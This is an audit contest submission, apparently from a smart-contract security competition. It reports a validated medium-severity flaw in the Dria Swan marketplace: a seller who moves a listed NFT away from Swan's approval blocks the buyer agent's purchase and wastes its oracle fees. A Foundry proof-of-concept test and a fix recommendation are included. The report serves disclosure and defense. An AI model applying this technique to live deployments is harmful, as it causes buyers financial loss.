Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Buyer agents risk non-delivery of purchased token if seller revokes Swan approval

Summary

When an asset is listed on Swan, it is minted at the time of listing through the Swan::list function:

...
address asset = address(
swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender)
);
...

The constructor of the deployed token contract sets the seller as the owner and grants initial approval to Swan, enabling it to manage the asset:

constructor(
string memory _name,
string memory _symbol,
bytes memory _description,
address _owner,
address _operator
) ERC721(_name, _symbol) Ownable(_owner) {
description = _description;
createdAt = block.timestamp;
// owner is minted the token immediately
ERC721._mint(_owner, 1);
// Swan (operator) is approved to by the owner immediately.
ERC721._setApprovalForAll(_owner, _operator, true);
}

When a buyer agent proceeds to purchase an item, the asset transfer is executed in the Swan::purchase function as follows:

SwanAsset(_asset).transferFrom(listing.seller, address(this), 1);
SwanAsset(_asset).transferFrom(address(this), listing.buyer, 1);

However, if the original seller revokes Swan’s approval after the asset is deployed, the transfer process will fail. This results in a situation where the buyer may lose the fees paid to oracle agents without receiving the purchased asset. For instance, if a seller regrets listing the asset to a specific buyer agent due to the emergence of a more profitable potential buyer, they could transfer the asset to a different address where Swan is not approved. Then the next round they will transfer it back to the original address and relist it targeting the preferred buyer.

Vulnerability Details

There is no guarantee that the buyer will receive the purchased asset, as this depends on the seller’s willingness to act in the buyer’s best interest. In some cases, however, the seller may act in their own financial interest, which may conflict with the buyer’s expectations. This leads to a financial loss for the buyer, in cases where the oracle fees paid exceed the royalty fee. Additionally, buyers will not be able to buy any of the other assets selected by the oracles since the transfer associated to the asset with revoked permissions will constantly fail.

Impact

The following PoC, implemented in Foundry, demonstrates the impact. In the scenario, the seller transfers the asset to another address not approved by Swan, rendering it inaccessible to the buyer. This results in a failed purchase transaction.

See PoC
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
import {Vm, Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {Swan} from "../src/swan/Swan.sol";
import {BuyerAgent} from "../src/swan/BuyerAgent.sol";
import {LLMOracleCoordinator} from "../src/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry, LLMOracleKind} from "../src/llm/LLMOracleRegistry.sol";
import {MockToken} from "./mock/MockToken.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {LLMOracleTaskParameters, LLMOracleTask} from "../src/llm/LLMOracleTask.sol";
import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {SwanMarketParameters} from "../src/swan/SwanManager.sol";
import {SwanAssetFactory, SwanAsset} from "../src/swan/SwanAsset.sol";
contract BaseTest is Test {
LLMOracleRegistry registry;
LLMOracleCoordinator coordinator;
MockToken mocktoken;
Swan swan;
BuyerAgent buyerAgent;
address requester = makeAddr("requester");
// Mocks the oracle LLM
address responder = makeAddr("responder");
// Address whose buyer agent will acquire listed assets
address buyer = makeAddr("buyer");
// Proxies deployment part 1
function setUp() public {
LLMOracleRegistry registryImpl = new LLMOracleRegistry();
mocktoken = new MockToken("Mock Token", "MT");
uint256 generatorStake = 1;
bytes memory _data = abi.encodeWithSignature(
"initialize(uint256,uint256,address)",
generatorStake,
0,
address(mocktoken)
);
ERC1967Proxy registryProxy = new ERC1967Proxy(
address(registryImpl),
_data
);
registry = LLMOracleRegistry(address(registryProxy));
LLMOracleCoordinator coordinatorImpl = new LLMOracleCoordinator();
uint256 _platformFee = 0.001 ether;
uint256 _generationFee = 0.001 ether;
uint256 _validationFee = 0.001 ether;
_data = abi.encodeWithSignature(
"initialize(address,address,uint256,uint256,uint256)",
address(registry),
address(mocktoken),
_platformFee,
_generationFee,
_validationFee
);
ERC1967Proxy coordinatorProxy = new ERC1967Proxy(
address(coordinatorImpl),
_data
);
coordinator = LLMOracleCoordinator(address(coordinatorProxy));
deploySwanAndAgent();
}
// Deployments function part 2 to avoid stack to deep error
function deploySwanAndAgent() public {
SwanAssetFactory assetFactory = new SwanAssetFactory();
Swan swanImpl = new Swan();
SwanMarketParameters memory marketParams = SwanMarketParameters({
withdrawInterval: uint256(1 weeks),
sellInterval: uint256(1 weeks),
buyInterval: uint256(1 weeks),
platformFee: uint256(1),
maxAssetCount: uint256(100),
timestamp: uint256(block.timestamp)
});
LLMOracleTaskParameters memory oracleParams = LLMOracleTaskParameters({
difficulty: uint8(1),
numGenerations: uint40(1),
numValidations: uint40(0)
});
bytes memory _data = abi.encodeWithSelector(
Swan(address(swanImpl)).initialize.selector,
marketParams,
oracleParams,
address(coordinator),
address(mocktoken),
address(1),
assetFactory
);
ERC1967Proxy swanProxy = new ERC1967Proxy(address(swanImpl), _data);
swan = Swan(address(swanProxy));
string memory _name = "buyer agent";
string memory _description = "buyer agent";
uint96 _royaltyFee = 1;
uint256 _amountPerRound = type(uint256).max;
address _operator = address(swan);
address _owner = buyer;
buyerAgent = new BuyerAgent(
_name,
_description,
_royaltyFee,
_amountPerRound,
_operator,
_owner
);
}
function testUserTransfersAsset() public {
string memory _name = "asset";
string memory _symbol = "asset";
bytes memory _desc = "description";
uint256 _price = 100;
address _buyer = address(buyerAgent);
mocktoken.approve(address(swan), type(uint256).max);
vm.recordLogs();
// This contract lists any asset targeting buyer
swan.list(_name, _symbol, _desc, _price, _buyer);
Vm.Log[] memory entries = vm.getRecordedLogs();
bytes32 assetAddr = entries[6].topics[2];
// This should be new bytes32[](1), but for whatever reason the 1 is not displayed
bytes32[] memory assetAddrArr = new bytes32[]();
assetAddrArr[0] = assetAddr;
address asset = address(uint160(uint256(entries[6].topics[2])));
// Then transfers the token to a different address
SwanAsset(asset).transferFrom(address(this), address(1), 1);
vm.warp(block.timestamp + 1 weeks + 1);
bytes memory input = "input";
bytes memory models = "models";
deal(address(mocktoken), address(buyerAgent), 1 ether);
vm.startPrank(buyer);
// Submit purchase request
buyerAgent.oraclePurchaseRequest(input, models);
vm.stopPrank();
deal(address(mocktoken), responder, 1 ether);
vm.startPrank(responder);
mocktoken.approve(address(registry), type(uint256).max);
LLMOracleKind oracleKind = LLMOracleKind.Generator;
registry.register(oracleKind);
uint256 taskId = 1;
uint256 nonce = 123;
bytes memory output = abi.encode(assetAddrArr);
// Oracle response contains our previously listed asset
coordinator.respond(taskId, nonce, output, models); // Reuse models for metadata to avoid stack too deep error
vm.stopPrank();
vm.prank(buyer);
vm.expectRevert();
// ERC721InsufficientApproval because the new owner of the token has not approved swan
buyerAgent.purchase();
// Seller waits for one round to relist the asset
vm.warp(block.timestamp + 2 weeks);
mockTransferBackAndList(asset);
}
// This function just mocks the transfer from another seller address back to the one used for the listing and the subsequent relist
function mockTransferBackAndList(address asset) public {
vm.prank(address(1));
SwanAsset(asset).transferFrom(address(1), address(this), 1);
uint256 _price = 100;
address _buyer = address(buyerAgent);
// _buyer could be a new address willing to pay more than the previously targeted one
swan.relist(asset, _buyer, _price);
}
}

Here you can also find the code for the mock token:

Mock Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockToken is ERC20 {
constructor(
string memory name_,
string memory symbol_
) ERC20(name_, symbol_) {
_mint(msg.sender, 100 ether);
}
}

Tools Used

Manual review.

Recommendations

The protocol is structured so that users ultimately sell assets to a buyer. To streamline this, Swan could retain ownership of these assets until they are purchased by the designated buyer. At that point, ownership would transfer to the buyer, allowing them to continue shaping the asset’s evolving story.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

DoS in BuyerAgent::purchase

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.